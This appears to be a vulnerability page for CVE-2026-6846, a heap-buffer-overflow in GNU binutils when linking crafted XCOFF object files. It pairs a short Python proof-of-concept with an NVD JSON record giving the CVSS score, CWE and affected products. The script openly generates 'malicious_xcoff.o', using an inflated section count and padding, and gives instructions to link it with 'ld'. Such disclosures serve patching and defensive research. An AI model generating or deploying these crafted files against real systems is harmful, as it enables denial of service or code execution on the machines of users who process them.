CVE-2026-6846

import struct # Generate a malicious XCOFF object file to trigger heap overflow # XCOFF Magic for 32-bit: 0x01DF, 64-bit: 0x01F7 magic = struct.pack('H', 0x01DF) # Number of sections (potentially large or malformed to trigger overflow) # Attack vector: overflowing the buffer allocated for section headers num_sections = struct.pack('H', 0xFFFF) # Timestamp and other header fields timestamp = struct.pack('I', 0) sym_table_ptr = struct.pack('I', 0) sym_count = struct.pack('I', 0) opt_hdr_size = struct.pack('H', 0) flags = struct.pack('H', 0) # Construct the malicious header header = magic + num_sections + timestamp + sym_table_ptr + sym_count + opt_hdr_size + flags # Append padding or malformed data to ensure overflow triggers during parsing payload = header + b'A' * 0x1000 with open('malicious_xcoff.o', 'wb') as f: f.write(payload) print("Malicious XCOFF file generated: malicious_xcoff.o") print("Usage: Attempt to link this file using 'ld' or similar tools.")

{"cve": {"id": "CVE-2026-6846", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:27.607", "lastModified": "2026-05-20T13:47:30.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in binutils. A heap-buffer-overflow vulnerability exists when processing a specially crafted XCOFF (Extended Common Object File Format) object file during linking. A local attacker could trick a user into processing this malicious file, which could lead to arbitrary code execution, allowing the attacker to run unauthorized commands, or cause a denial of service, making the system unavailable."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:binutils:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.46", "matchCriteriaId": "18449381-54BD-4732-A531-D44935A3ADAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:*", "matchCriteriaId": "87DEB507-5B64-47D7-9A50-3B87FD1E571F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "932D137F-528B-4526-9A89-CD59FA1AB0FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*", "matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-6846", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460006", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}